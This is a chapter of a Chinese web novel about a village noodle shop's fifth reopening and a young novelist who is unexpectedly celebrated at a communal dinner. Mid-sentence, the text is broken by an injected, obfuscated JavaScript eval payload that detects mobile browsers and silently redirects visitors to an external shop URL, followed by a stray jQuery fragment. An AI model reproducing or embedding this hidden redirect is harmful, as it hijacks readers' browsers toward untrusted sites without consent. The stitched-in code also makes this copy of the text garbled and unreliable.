金氏面馆内，天花板上的灯罩边缘锈迹斑斑。
年轻男人宽薄的掌心抵在灯罩顶端，长指慢慢旋转几圈后，锈蚀的螺纹终于发出“咔嗒”一声。
旧灯泡的钨丝断了，他换上新灯，暖黄的光晕散开的瞬间，与苹果绿的旧墙漆、店内的长条凳、90年代的海报融为一体。
灯光稳定后，男人收回手，随即握住梯侧，骨节分明的掌背，隐隐浮着青筋，他长腿轻轻一迈，落地时身形舒展。金山老爷子笑着递来干净毛巾：“真是辛苦您啦！今天是团膳日，还麻烦您来给我修灯！”
“顺手的事，”男人擦去指尖浮灰：“小罡不在，您找我，说明没拿我当外人。”
金山老爷满脸感动：“那当然啦！您可是我们最尊敬的村长，没有您，就没有盛夏村的今天！没有盛夏村，就没有金氏面馆......”
“......”男人笑着提醒，“咱们先开张？
“哦对对对！”金山抬手敲了敲脑壳。
门外，四人仪仗队拖着嗓子在喊：“金山老爷——”
“来啦来啦！”他急忙掀开门帘跑出去，外头空荡荡的，只有傻家四兄弟的仪仗队，每人身上挂着歪七扭八的演奏器材，累得都快垮了。
见到金山，傻北蔫巴巴地抱怨起来：“金山老爷！一个客人没有，还搞开业酬宾吗？”
“当然要搞！”金山满脸认真。
四兄弟都惦记着优子阿奶家的团膳，谁也不想留这儿吃拉面，在金山的坚持下，只好稀稀拉拉奏起来。
唢呐声、锣声、鼓声、二胡声响起，金山幻想的场面：锣鼓喧天，唢呐齐鸣！
现实场景：仪仗队面如死灰，二胡伤感，唢呐断气。
对面小餐馆的老板娘夺门而出：“别弹了！不吉利啊！”
说完，撒了把盐在地上。
四兄弟停下来，齐刷刷望向金山：“老爷，还继续吗？”
金山沉默半秒：“算啦，只是个仪式而已。”
“下面进入记者提问环节。”金山主动推进流程。
“哪儿有记者啊？” 四兄弟齐声问。
金山迅速整理了下领带。
老爷子今天特意穿了二十年前的中山装，扣子早扣不上了，他拼命吸起肚子，指着拿唢呐的：“傻东，你配合一下。”
随后他不知从哪儿变出个相机，郑重地递给祝眠生：“村长，麻烦您啦！”
祝眠生笑笑，举起相机。
傻东忍不住小声嘟囔：“金山老爷，下次能不能别找俺们帮您开业啦，虽然俺们姓傻，但俺们可不傻，俺四胞胎在盛夏村也是有传说滴！俺娘说啦，她生俺们的时候，村里东西南北的鸡都叫了，半夜把全村的人都吵醒了，后来给俺们取名东西南北……”
“让你采访我，不是叫你自我介绍。”说完这句，金山立刻把下巴收回来，肚子继续往里吸，脸色涨红，微笑看向祝眠生的镜头。
傻东哦了声：“那介绍啥？”
金山老爷憋着气，被绕进去了：“介绍我。”
“这个容易，”傻东张嘴就来：“金山老爷是盛夏村最最抠门的老板，让俺们开业助阵，一毛钱不给，只给打折券，还是9.9折的打折券，等于俺们吃九十九块钱的面，他还要赚九十！”
“大哥，”拿二胡的傻西捣了捣傻东：“是赚九十八！”
“七八五十九，八八六十四......”傻东掰着指头算起来。
傻南瞥了他哥一眼：“你那数学还是别采访了。”
傻北补刀：“这段播出去，咱家鸡都嫌丢人。”
“算了算了……”金山示意祝眠生把这段删掉，他抬起头，望着面馆的招牌，年迈的眼睛闪烁着熠熠雄光，仿佛某部港片里的大英雄：
“我等了三十年，就是要等一个机会，我要争一口气，不是想证明我了不起，我只是要告诉人家，我失去的东西，我一定能拿回来！”
“今日，我金氏面馆重新开张！”他昂起布满皱纹的脸，掷地有声：“就算只有一个客人，我也要让他知道，这是传承三代的百年老字号！只要凭我的恒心，总有那么一天，客人们会陆陆续续都回来的！”
再转头，四胞胎已经陆陆续续跑远了。
面馆前，空空如也。
除了祝眠生。
金山难掩落寞，尴尬地笑笑，他拍拍祝眠生的肩：“时候不早了，您也快去团膳吧！”
说完，他独自回到店里。
暖黄灯光照着旧墙。墙上挂着祖孙三人的合照，同样的发型，同样的衣服，同样严肃又认真的笑容。
店中最显眼的位置，摆着“老字号店铺金牌传承人”的奖杯，后头贴着《英雄本色》的电影海报。
“无论外界再怎么不看好，也不能向命运低头！”这是当年父亲，对他说过的话。
正出着神，店门“吱呀”被推开了。
金山从恍惚中抬头。
一个六岁的小男孩呆呆地站在店里。
再小的顾客也是顾客啊！
金山老爷立刻收起愁容，笑容满面地迎上去：“欢迎光临！我是金氏拉面第三代传承人金山！请问有什么能为您服务？”
小男孩站在店中央，仰着圆乎乎的小脸，看了看拉面价目牌，又看了看他，眨眨眼，停顿了几秒，认真地问：
“爷爷，您这儿有饺子嘛？”
***
“金氏面馆这都第几次开张啦？”
“第五回了吧.....记不得咯！”
“傻东西四兄弟又去啦？”
“是呀哈哈哈哈!”
村民们挤在一块儿闲聊，吃得差不多了，优子端出下午做的冰酥酪款待大家。
酥烙在碗底微微颤动，勺子轻轻碰一下，便颤出细细的纹。
禾穗是头一回吃，她小心地舀了勺，那口感不像吃进去的，倒像滑进嘴里，几乎不用嚼，贴着舌尖就化开。
米酒的清甜和奶香慢慢散出来，冰冰凉凉的，水果丁脆甜，干果碎烘得香，嚼到最后，嘴里还留着浓浓奶香。
“不好意思，只剩最后这碗了。”优子有点为难地看向麦花一家。
麦花连忙摆手：“没事儿，我不爱吃甜，”她笑着把碗推到老二面前，轻声教他：“快谢谢优子阿奶？”
小铃铛昂起头，一字一顿地：“谢、谢、优、子、阿、奶！”
嘴角还粘着亮晶晶的饭粒子。
周围的人都被这小不点儿逗乐了。
“看看这小家伙多讨人喜欢啊！”
“你阿妈多疼你，将来要不要对阿妈好呀？”
小铃铛奶声奶气地点头：“要的！”
在这片笑声中，禾穗却注意到，麦花的大女儿始终低着头，女孩沉默地夹着碗里的菜，脸上没有任何表情，像把自己悄悄藏进热闹边缘。
生活里，禾穗总是会这样，下意识留意到旁人不易察觉的细节。
热闹的场合里，她会更容易注意到某个沉默的人，某句没被接住的话，或者某个无意间露出的表情。
当然，这有时也是种负担。因为太容易感知情绪，也更容易被别人的情绪影响，变得敏感……
“我先回去复习了。”
女孩放下筷子，轻声告别，低头离开了小院。
人走后，姜吉婶感叹。
“小秋还是不太爱讲话啊！”
麦花给小儿子擦了擦嘴角：“高三了，功课紧。”
“你就省心咯，”姜吉夸她：“上辈子积了什么福报噢！能生下这么优秀的女儿，这次考试，小秋又是全校第一吧？”
“哎，是第一，但那个学校普通，所以她也知道得多用功，”麦花语气里带了些不易察觉的骄傲，禾穗注意到，女人方才佝偻的背挺直了些，声音也清亮不少：“不过，这孩子从小确实没让我操过心，小秋懂事儿，孝顺，也不知道我们小家伙，以后会不会像姐姐呀？”
小不点儿重重点头：“要、像、姐、姐！”
“哎哟，羡慕死我们咯，”姜吉酸溜溜地努嘴：“大的小的都那么乖！”
优子含笑：“羡慕啥，你家不也有个‘第一’嘛？”
这话引得众人笑得更欢。
只有姜吉婶痛心疾首地啃着玉米，和邻居们诉苦水：“说实话，我也没见过次次考试，发挥都这么稳定的娃！重点是，我家孙子也不是不学，他每天熬到凌晨三点埋头苦读！眼圈比墨水还黑！就连他班主任都说，教三十年书，没见过如此爱学习却回回考倒数第一的！”
“也有一次不是倒数嘛。”有人宽慰她。
姜吉重重叹气：“那是因为有人作弊被逮到，判了零蛋。”
“别太操心啦，”麦花笑着打圆场：“有些娃娃不擅长读书，说不定别处有天赋呢！不是都说，成绩好的当不了老板嘛！”
“你是饱汉不知饿汉饥哟！”姜吉把啃完的玉米芯插进面前的“玉米山”，“我家不同啊，要有小秋成绩的一半，我也不用整天烧香吃斋咯！”
就在这时，坐在餐桌尽头的村民忽然吆喝了声：“优子阿孃，那位姑娘是你家客人吧？给大家介绍介绍嘛！”
村民们听到，都停下了话茬，扭头看向禾穗。
目光袭来的同时，有股不自在的紧绷感顺着禾穗的背脊爬了上来。
“介绍啥子哟，这是我屋头的客人，就是我家的人！” 优子很霸道地解了围。
“优子改行开客栈啦！要当老板嬢嬢咯！”
村民调侃着，仍是有人鼓动禾穗介绍下自己。
这时，姜吉婶冒出了句：“说出来吓死你们哟！这位小姑娘可是小说作家！很厉害的哦！”
禾穗心里咯噔了下，心脏都漏跳一拍！
她没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801415|210634||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过“小说作家”四个字会被如此大声地告知。
禾穗的第一反应不是惊惧。
而是羞耻。
往日母亲的声音匆匆在耳边闪过——
“作家说得再好听，就是无业游民！”
“你要考上了公务员，妈妈说起你也有面子，写小说能算什么正经工作！那叫不务正业你知道吗！？”
禾穗的面庞一瞬间红到极致，内心拼命解释：没有啦，我只是开个玩笑，我就是随便写写，也不是正经作家......请大家不要当真......
“居然是小说作家啊！！！”
“好了不起的职业！”
“写作需要很聪明才能做好吧？”
村民激动地议论起来，都说这是个很棒的职业，小时候，他们当中也有人梦想过当作家，没想到禾穗这么年轻居然就做到了！
还有几位村民找优子借来药方单，说想请小禾作家给他们签名。
禾穗怔在那里。
她没料到，大家的反应竟然会是这样......
写小说不是很羞耻的事吗？
没有固定的场所上班。
收入也不稳定。
算是不务正业吧……
不是很没有前途吗？
“这么小小年纪就成了作家，也太厉害了！我家孙孙能像你这样就好咯！”
“是啊，我可爱读文章哩，年轻那会儿，瞅见报纸上好的故事，我都剪下来贴屋里，可轮到自己拿笔，嘿嘿就啥也写不出来啦！”
“你种个茄瓜还没种明白呢，你看人家小姑娘多秀气呀，一看就是有才气的嘛！”
这些阿爷阿奶的脸上没有半点嘲讽，只有真实的欢喜。
禾穗根本不敢签名，脸更红了，甚至笑容带了丝抱歉：“也不是……很了不起的作者，只是在网上有连载而已......”
德福叔挤在签名的队伍里，他大声对她说：“谁说的！别人做不到，你能做到就很了不起啊！”
“以后啊，”姜吉婶像是比她还骄傲：“说不定，你比余华还厉害呢，那这签名我可得好好裱起来哟！”
晚饭后半段，话题几乎都围着禾穗转。
村民们都很好奇，她是咋写出故事的。
吃完饭，有人提议玩击鼓传花，输了的人组织游戏。花被传来传去，谁都怕停在自己手里，又都笑着往下递。
最后，鼓花落到了禾穗手中，她说有个编故事的玩法，不知道大家愿不愿意试试？
村民们兴致都很高，忙问她怎么玩儿。
禾穗有点不好意思，看了看优子，优子阿奶正用鼓励的眼神望着她。
禾穗轻声说：“就是我出个故事开头，感兴趣的人顺着编下去，最后一句可以停在任意地方，再由下个人接着编，直到把故事讲完。”
“哎！这个没玩过！”
“感觉很有意思啊！”
在大家期盼的目光中，禾穗心里软了软，之前的不安也渐渐消散，她抱着鼓花坐直，认真想了想，才缓缓开口：
“在一片所有树木都努力向上生长的森林里，有一棵空心树，它和那儿的树都不同，森林里的树，有的长成了有用的木材，有的结满了甜美的果实，有的开满鲜花，被鸟儿环绕。
只有空心树，它的树干是中空的，不会开花，也不会结果。
空心树觉得自己一无是处，于是，它试图往自己空荡荡的心里填满东西。
它把坚硬的石头塞进树干，即使树心被石子的棱角划伤也没关系，它想，这样就能和铁桦树一样坚韧了。
它挂上零散的野果，即使果子皱巴巴的，风一吹，就掉了下来，它也希望曾有一刻，看上去能像果树那般丰盛。
它甚至砍掉自己的细枝，接在其他树枝上，去够触本不属于它的阳光。
它每天都把自己填的满满的，沉甸甸的，以为只要这样，就能获得和别人一样的重量和价值，就会有飞鸟喜欢自己。
直到某个夜晚，一只蓝色的萤火虫路过它身边。
萤火虫围着空心树绕了一圈，问：“我能进你的树洞休息会儿吗？
空心树悲哀地看着萤火虫：“可是我的心里已经填满了东西，没有一丝空隙了。
于是，萤火虫......”
***
夜深了，禾穗站在优子身后送别大家。
临走时，有几位阿婆又特意折回来，轻轻抱了抱她，笑着让她加油。看着大家出了小院，慢慢走进温柔的月色里，禾穗心底又暖又慌，讷讷道：“压力好大，看来我要努力成为余华老师那样的人呐。”
一转头，才发现优子无味地看着自己。
禾穗眨眨眼，意识到自己是否说了比较狂妄的话，正想着怎么找补时，下一秒，优子却拍了拍她的肩。
“要不要和我去田里走一圈？”